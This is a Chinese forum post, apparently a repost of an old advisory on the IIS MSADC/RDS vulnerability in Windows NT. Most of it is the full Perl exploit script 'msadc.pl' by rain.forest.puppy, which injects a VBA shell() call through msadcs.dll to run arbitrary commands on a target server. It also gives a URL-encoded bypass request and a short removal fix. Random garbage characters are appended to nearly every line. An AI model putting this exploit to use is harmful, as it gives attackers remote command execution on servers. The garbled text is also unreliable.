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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) >~nr,V.q  
bm 4RRI  
涉及程序: Y!_{:2H8p  
Microsoft NT server PPH;'!>s"  
/ Ws>;0  
描述: mvK^')  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 y: x<`E=  
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详细: a#"orc j  
如果你没有时间读详细内容的话,就删除: -fk;Qq3O  
c:\Program Files\Common Files\System\Msadc\msadcs.dll rR :ZTfJs"  
有关的安全问题就没有了。 +Wg/ O -  
Jw8?o/1D@  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 bXvO+I<  
f)j*P<V  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 "gJ.mhHX  
关于利用ODBC远程漏洞的描述,请参看: NIVR;gm  
[K$5 Rm5  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm  $8rnf  
'(FC  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 ,|s*g'u  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp 38D5vT)n  
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这里不再论述。 w~)tEN>  
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3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: :`zO%h  
P%lD9<jED  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset # :k=  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! _%=CW' B  
a`n)aXU l  
! #_2 ![  
#将下面这段保存为txt文件,然后: "perl -x 文件名" 'mbLK#q  
hdCd:6   
#!perl JR#4{P@A  
# ,wes*  
# MSADC/RDS 'usage' (aka exploit) script ^n0;Q$\  
# \.}T_,I  
# by rain.forest.puppy XQ9W y  
# wR@>U.XT@  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me E&zf<Y  
# beta test and find errors! <+g77NL  
k:Y\i]#yP  
use Socket; use Getopt::Std; O^`EuaL  
getopts("e:vd:h:XR", \%args); U%s@np  
];hqI O#nM  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; Hz GwO^tbK  
UjQz   
if (!defined $args{h} && !defined $args{R}) { KCyV |,+n  
print qq~ sdZ$3oE.  
Usage: msadc.pl -h <host> { -d <delay> -X -v } mdEJ'];AH  
-h <host> = host you want to scan (ip or domain) *lvADW5e  
-d <seconds> = delay between calls, default 1 second cVW7I  
-X = dump Index Server path table, if available BYXc 'K  
-v = verbose Zh;wQCDj  
-e = external dictionary file for step 5 &Y?t  
88v8lt;R  
Or a -R will resume a command session iW(LD1~7  
rL1yq|]I  
~; exit;} a%B&F|u  
h8asj0  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; m6mGcbpn  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} __'4Qt   
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} 'wk,t^)  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); ?'6@m86d  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} $ ubU"  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } (l^7EpNs  
O'wmhLa"W  
if (!defined $args{R}){ $ret = &has_msadc; JE-*o"&  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} PM[_0b  
|-}. Y(y  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" \)No?fB  
. "cmd /c "; &M}X$k I  
$in=<STDIN>; chomp $in; ?'TK~,dG/  
$command="cmd /c " . $in ; l;_IH|A  
7j\^h2  
if (defined $args{R}) {&load; exit;} {IJ;)<>&VE  
8xO   
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; !2KQi=Ng  
&try_btcustmr; ~dr,;NhOLJ  
o@zxzZWg  
print "\nStep 2: Trying to make our own DSN..."; 6]b"n'G  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; aNEah  
uKP4ur@1  
print "\nStep 3: Trying known DSNs..."; " _2 k 3  
&known_dsn; T<pG$4_  
w-pgtO|Us  
print "\nStep 4: Trying known .mdbs..."; \t7yH]:>@  
&known_mdb; ][S q^5`  
xKSQz  
if (defined $args{e}){ X?'cl]1?  
print "\nStep 5: Trying dictionary of DSN names..."; +_7a/3kh  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } :,0(aB  
7yfh4-1M  
print "Sorry Charley...maybe next time?\n"; Jx.f DVJ  
exit; am]M2+,2Ip  
3@I0j/1#k1  
############################################################################## ae sk.  
a ~v$ bNu  
sub sendraw { # ripped and modded from whisker G^ W0!u,@  
sleep($delay); # it's a DoS on the server! At least on mine... .U0Gm_c0  
my ($pstr)=@_; Jr !BDg  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || tdH[e0x B  
die("Socket problems\n"); }CBQdH&g;  
if(connect(S,pack "SnA4x8",2,80,$target)){ '|SO7}`;Q  
select(S); $|=1; :Ph>\aG  
print $pstr; my @in=<S>; =Pl@+RgK+  
select(STDOUT); close(S); 2nkA%^tR  
return @in; =tP9n;D  
} else { die("Can't connect...\n"); }} nv:Qd\UM  
T%eBgseS  
############################################################################## }:IIk-JoC  
GP%V(HhN  
sub make_header { # make the HTTP request }N[X<9^ Z  
my $msadc=<<EOT 1X2j%q I&  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 ?.VKVTX^  
User-Agent: ACTIVEDATA _cs(f<>oCO  
Host: $ip T o["o!(;z  
Content-Length: $clen M(I%y0  
Connection: Keep-Alive X vaIOt>A  
$v@$C4  
ADCClientVersion:01.06 7{F\b  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 VC88re`  
$z%(He  
--!ADM!ROX!YOUR!WORLD! <t"T'\3  
Content-Type: application/x-varg %1Q:{m  
Content-Length: $reqlen z,TH}s6  
4?+K `  
EOT f=l/Fp}4UH  
; $msadc=~s/\n/\r\n/g; ,' | J  
return $msadc;} s-"KABEE  
_Z0 .c@0  
############################################################################## [ey# ,&T  
ynIC (t  
sub make_req { # make the RDS request Q ]CMm2L^f  
my ($switch, $p1, $p2)=@_; B"&-) (  
my $req=""; my $t1, $t2, $query, $dsn; n= <c_a)Nb  
K<J,n!zc  
if ($switch==1){ # this is the btcustmr.mdb query U80=f2  
$query="Select * from Customers where City=" . make_shell(); 2&4nf/sE  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 1VgGF^cYR  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} +\T8`iCFB  
o`S``?`^)^  
elsif ($switch==2){ # this is general make table query PeIx41. +s  
$query="create table AZZ (B int, C varchar(10))"; r W`7<3  
$dsn="$p1";} '. "_TEIF  
nEsD+ }E?  
elsif ($switch==3){ # this is general exploit table query hU$o^ICH  
$query="select * from AZZ where C=" . make_shell(); |0i{z(B  
$dsn="$p1";} a yoC]rE  
R2Tt6  
elsif ($switch==4){ # attempt to hork file info from index server ^!\1q<@n  
$query="select path from scope()"; F$a s#.7FF  
$dsn="Provider=MSIDXS;";} X hq ss),  
MI `qzC*%  
elsif ($switch==5){ # bad query zIrOMh  
$query="select"; nc;e NB  
$dsn="$p1";} sv=U^xI  
0&,D&y%  
$t1= make_unicode($query); . }\8Y=  
$t2= make_unicode($dsn); *K|~]r(F?  
$req = "\x02\x00\x03\x00"; '.bf88D  
$req.= "\x08\x00" . pack ("S1", length($t1)); TTVmm{6  
$req.= "\x00\x00" . $t1 ; ,&UKsrs_  
$req.= "\x08\x00" . pack ("S1", length($t2)); UOZ+ &DL,L  
$req.= "\x00\x00" . $t2 ; V~dhTdQ5}  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; [q?RJmB]  
return $req;} AO7[SHDZ  
rE m/Q!  
############################################################################## oy8jc];SO  
`> %QCc\  
sub make_shell { # this makes the shell() statement Q7aPW\-  
return "'|shell(\"$command\")|'";} Jo { :]:  
r'*$'QY-N  
############################################################################## ?/o 8f7Z  
w,p'$WC*  
sub make_unicode { # quick little function to convert to unicode F LWVI4*  
my ($in)=@_; my $out; mWv$eR  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } E]mm^i`|  
return $out;} |cU75 S1  
C<D$Y,[w  
############################################################################## o`iA&  
gq?7O<  
sub rdo_success { # checks for RDO return success (this is kludge) fd )v{OC  
my (@in) = @_; my $base=content_start(@in); f'=u`*(b7  
if($in[$base]=~/multipart\/mixed/){ WLl8oE< X  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} M@xU59$@  
return 0;} C+TB>~Gv`  
Y%?S:&GH  
############################################################################## `q36`Wn  
p*b_ "aF1  
sub make_dsn { # this makes a DSN for us 9G/!18 X?f  
my @drives=("c","d","e","f"); |SOLC  
print "\nMaking DSN: "; }MQ:n8  
foreach $drive (@drives) { relt7sK  
print "$drive: "; q!c=f!U?\l  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . a$=~1@  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" @s1T|}AJ  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); 6M >@DRZ'|  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; =^KgNQ   
return 0 if $2 eq "404"; # not found/doesn't exist |6 Q5bV  
if($2 eq "200") { H{Ewj_L  
foreach $line (@results) { X)KCk2Ax  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} 6k t,q0  
} return 0;} zFjz%:0  
ii?T:T@  
############################################################################## @5^&&4>N  
9ngxkOGx  
sub verify_exists { w-n}&f  
my ($page)=@_; 3=d%WPgQ  
my @results=sendraw("GET $page HTTP/1.0\n\n"); +4:eb)e  
return $results[0];} !mxH/{+|n  
BEOPZ[Q|c  
############################################################################## hWy@?r.  
qnp}#BZ  
sub try_btcustmr { n<C] 6H  
my @drives=("c","d","e","f"); N6._J b  
my @dirs=("winnt","winnt35","winnt351","win","windows"); a^%)6E.[,  
~z:]rgX  
foreach $dir (@dirs) { +0&^.N  
print "$dir -> "; # fun status so you can see progress ]VjvG};  
foreach $drive (@drives) { `E$vWZq}  
print "$drive: "; # ditto dx@dnWRT,  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; &G"s !:  
$reqlenlen=length( "$reqlen" ); /0/ouA>+  
$clen= 206 + $reqlenlen + $reqlen; 3Q$ 4`p;  
;5ki$)v"  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); |*c1S -#  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} Tdcc<T  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} gML8lu0)  
, '0#q  
##############################################################################  v%:deaF  
E<jajYj  
sub odbc_error { -FJ3;fP&  
my (@in)=@_; my $base; 8m{e,o2.  
my $base = content_start(@in); GURiW42  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this ~]-n%J $q  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; wY<s  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 8JY0]G6  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; )NZH{G  
return $in[$base+4].$in[$base+5].$in[$base+6];} !i t orSl  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; q@wD@_  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . #uU(G\^T  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} IB;yL/T  
DKj iooD  
############################################################################## .Exvuo`F  
f]i"tqoI  
sub verbose { .aT@'a{F  
my ($in)=@_; K;6#v%  
return if !$verbose; ':(AiD-}  
print STDOUT "\n$in\n";} M#gxi N  
"%Ok3Rvv  
############################################################################## zpwoK&T+  
{d.z/Buu  
sub save { r0}x:{$M  
my ($p1, $p2, $p3, $p4)=@_; m#UQ,EM  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; Pdf-2 Tx  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; 9K@ I  
close OUT;} &\ 9%;k  
f- XUto  
############################################################################## )7 Mss/2T  
 g!}]FQBb  
sub load { )Jjp^U3Ub  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; ?SNacN@r  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); u1 Q;M`+>  
@p=<IN>; close(IN); +ALrHFG  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); nz3*s#k\-  
$target= inet_aton($ip) || die("inet_aton problems"); ~s+vJvWz  
print "Resuming to $ip ..."; GY%5N= u  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; v^ ^Ibv  
if($p[1]==1) { ;8^k=8  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; H1c8]}  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; c0zcR)=mL  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); (c[u_~ ;  
if (rdo_success(@results)){print "Success!\n";} TX=894{nGh  
else { print "failed\n"; verbose(odbc_error(@results));}} lMFo)4&P  
elsif ($p[1]==3){ K? o p3}f?  
if(run_query("$p[3]")){ L ?/AKg  
print "Success!\n";} else { print "failed\n"; }} S=,czs3N  
elsif ($p[1]==4){ CK[8y&  
if(run_query($drvst . "$p[3]")){ 1gV?}'jq  
print "Success!\n"; } else { print "failed\n"; }} 3*<@PXpK&  
exit;} 3Rb#!tx9  
4MPy}yT*  
############################################################################## ^y@ W\  
{N}az"T4f  
sub create_table { 7n#-3#_mG  
my ($in)=@_; h\[@J rDa  
$reqlen=length( make_req(2,$in,"") ) - 28; `o{ Z;-OF  
$reqlenlen=length( "$reqlen" ); uLzE'Z mV  
$clen= 206 + $reqlenlen + $reqlen; JP Zp*5c6A  
my @results=sendraw(make_header() . make_req(2,$in,"")); n$C- ^3 c  
return 1 if rdo_success(@results); nriSVGi  
my $temp= odbc_error(@results); verbose($temp); 7K.75%}  
return 1 if $temp=~/Table 'AZZ' already exists/; nms[No?  
return 0;} (B4)L%  
5@xR`g-  
############################################################################## av!;k2"  
C4(xtSJSd!  
sub known_dsn { cjL)M=pIS  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go a_c(7bQ  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", pL,XHR@Iv  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", u9 &$`N_G  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); QQW}.>N  
:6(\:  
foreach $dSn (@dsns) { D;P=\i>9-  
print "."; !Wr<T!T  
next if (!is_access("DSN=$dSn")); uZL]mwkj]  
if(create_table("DSN=$dSn")){ 4m< ]qw  
print "$dSn successful\n";  skl3/!  
if(run_query("DSN=$dSn")){ =x -7 Wy  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { JlnmG<WLT  
print "Something's borked. Use verbose next time\n";}}} print "\n";}  a[nSUlT&  
5! );4+  
############################################################################## =;-C;gn:w  
=Smd/'`_  
sub is_access { d'W2I*Zc<  
my ($in)=@_; F9eEQ{L  
$reqlen=length( make_req(5,$in,"") ) - 28; 4"@;.C""  
$reqlenlen=length( "$reqlen" ); ?7NSp2aq2A  
$clen= 206 + $reqlenlen + $reqlen; T{ @@V  
my @results=sendraw(make_header() . make_req(5,$in,"")); .L^*9Y0)  
my $temp= odbc_error(@results); WkiT,(i  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); 6agq^wI  
return 0;} _fS\p|W(E  
/}6I3n  
############################################################################## B/l^=u+-  
+\Vw:~e  
sub run_query { ~+1mH  
my ($in)=@_; KfjWZ4{v  
$reqlen=length( make_req(3,$in,"") ) - 28; `R2Iw I&  
$reqlenlen=length( "$reqlen" ); ?+EAp"{j  
$clen= 206 + $reqlenlen + $reqlen; UWO3sZpU  
my @results=sendraw(make_header() . make_req(3,$in,"")); p K-tj  
return 1 if rdo_success(@results); }ex4dhx2M  
my $temp= odbc_error(@results); verbose($temp); x[lIib1s  
return 0;} _6fy'%J=U  
?w(hPUd!2  
############################################################################## `n>|rd  
\'Ca1[y@B  
sub known_mdb { HK :K~h  
my @drives=("c","d","e","f","g"); lPR^~&/  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ;-`NT` #2  
my $dir, $drive, $mdb; SY5}Bu#  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; (xW+* %  
pG"wQ  
# this is sparse, because I don't know of many nT> v  
my @sysmdbs=( "\\catroot\\icatalog.mdb", ke2dQ^kc4  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", l8?C[, K%  
"\\system32\\certmdb.mdb", :jv(-RTI  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% L'Cd` .yVO  
6qDt 6uB  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", %!t9)pNc  
"\\cfusion\\cfapps\\forums\\forums_.mdb", r5xm7- `c  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", #qVTB@d  
"\\cfusion\\cfapps\\security\\realm_.mdb", 9@CRL=  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", h rSH)LbJ  
"\\cfusion\\database\\cfexamples.mdb", J\@g3oGw  
"\\cfusion\\database\\cfsnippets.mdb", B{=DnB6  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", SWw!s&lP&  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", f5F-h0HF`[  
"\\cfusion\\brighttiger\\database\\cleam.mdb", bz>\n"'  
"\\cfusion\\database\\smpolicy.mdb", K W&muD  
"\\cfusion\\database\cypress.mdb", C5^WJx[  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", q>(?Z#sB  
"\\website\\cgi-win\\dbsample.mdb", lt-3OcC  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", Y\WQ0'y  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" 1Z ~C3)T=  
); #these are just t#(=$  
foreach $drive (@drives) { |kh{EUE ;  
foreach $dir (@dirs){ >N al\  
foreach $mdb (@sysmdbs) { _yAY5TIv  
print "."; T/ECW  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ MUbKlX  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; zlP{1z;nV  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ _LZ(HTX~  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; gd * b0(  
} else { print "Something's borked. Use verbose next time\n"; }}}}} Rw `ezC#  
 [{2v}  
foreach $drive (@drives) { ;-"!p  
foreach $mdb (@mdbs) {  lha;|  
print "."; i ZPNss  
if(create_table($drv . $drive . $dir . $mdb)){ F_0D)H)N@  
print "\n" . $drive . $dir . $mdb . " successful\n"; h;vY=r-  
if(run_query($drv . $drive . $dir . $mdb)){ IT:WiMDQ}  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; !4Zy$69R  
} else { print "Something's borked. Use verbose next time\n"; }}}} _w\i~To!  
} *Zg=cI@)(  
7yu-xnt3s  
############################################################################## B?&0NpVD  
\%r0'1f  
sub hork_idx { d:iJUVpr  
print "\nAttempting to dump Index Server tables...\n"; w/ ~\NI  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; I`oJOLV  
$reqlen=length( make_req(4,"","") ) - 28; d1_kw A2y  
$reqlenlen=length( "$reqlen" ); (b~l.@xh  
$clen= 206 + $reqlenlen + $reqlen; ??aO3Vm{  
my @results=sendraw2(make_header() . make_req(4,"","")); 9b >+ehjB  
if (rdo_success(@results)){ @+t|Aa^g  
my $max=@results; my $c; my %d; Fc[vs52  
for($c=19; $c<$max; $c++){ mCt/\  
$results[$c]=~s/\x00//g; q}p$S2`  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; _O}U4aGMTC  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; w_>\Yd[  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; r'nPP6`  
$d{"$1$2"}="";} pf'DbY!  
foreach $c (keys %d){ print "$c\n"; } -zYa@PW  
} else {print "Index server doesn't seem to be installed.\n"; }} 3.Mpd  
cvy 5|;-u  
############################################################################## LhKbZ oPp  
hzk!H]>E  
sub dsn_dict { 4A"nm6  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); kjPf%*3  
while(<IN>){ u~*A-X [  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; ?J + jv  
next if (!is_access("DSN=$dSn")); #Pk{emYW  
if(create_table("DSN=$dSn")){ ;{0alhMZ  
print "$dSn successful\n"; 5cf?u3r!qJ  
if(run_query("DSN=$dSn")){ h0m5o V  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { >"1EN5W  
print "Something's borked. Use verbose next time\n";}}} T^] ]z}k  
print "\n"; close(IN);} xGr{ad.N  
G*EF_N. G0  
############################################################################## M/Z$?nd_H  
$k )K}U  
sub sendraw2 { # ripped and modded from whisker kF'9@*?J  
sleep($delay); # it's a DoS on the server! At least on mine... qbSI98r w  
my ($pstr)=@_; g$C]ln>"9m  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || +d LUq2  
die("Socket problems\n"); p=UW ^95  
if(connect(S,pack "SnA4x8",2,80,$target)){ N`7OJ)l  
print "Connected. Getting data"; e;~(7/1  
open(OUT,">raw.out"); my @in; c.1gQy$}|  
select(S); $|=1; print $pstr; JE{ cZ<NNH  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} 2hNl_P~z1u  
close(OUT); select(STDOUT); close(S); return @in; $X;OK  
} else { die("Can't connect...\n"); }} vh&~Y].W Y  
p @q20>^u  
############################################################################## 5N>flQ  
hd9~Zw]V  
sub content_start { # this will take in the server headers 72RTEGy  
my (@in)=@_; my $c;  nm`( ;<W  
for ($c=1;$c<500;$c++) { %JPr 7 }  
if($in[$c] =~/^\x0d\x0a/){ 03)irq%l;  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } rD$5]%Y  
else { return $c+1; }}} kuBtPZ  
return -1;} # it should never get here actually 2{WZ?H93a  
vv)w@A:Vn)  
############################################################################## &k|EG![  
m4W (h6  
sub funky { q]f7D\ M  
my (@in)=@_; my $error=odbc_error(@in); i@6g9\x+  
if($error=~/ADO could not find the specified provider/){ |FT.x9e-  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; m;"[b (u  
exit;} ~t2" L|i  
if($error=~/A Handler is required/){ U) xeta+  
print "\nServer has custom handler filters (they most likely are patched)\n"; %!-t7K^mFq  
exit;} k>MXOUaW.  
if($error=~/specified Handler has denied Access/){ jqvw<+#  
print "\nServer has custom handler filters (they most likely are patched)\n";  ~}p k^FA  
exit;}} E`HA0/  
s \3]0n9  
############################################################################## `Ivt)T+n;  
n(z$u)Y  
sub has_msadc { XFs7kTY  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");  :Kyr}-  
my $base=content_start(@results); 9wc\~5{li  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); =>>Dnp  
return 0;} f#AuZ]h  
D`Vb3aNB=L  
######################## #p;<X|Hc}8  
2=fLb7  
7}\AhQ, S  
解决方案: [-#1;!k  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll OY|9V  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 f]2gjQHM  
S+6YD0  
拿出来充数 哈哈
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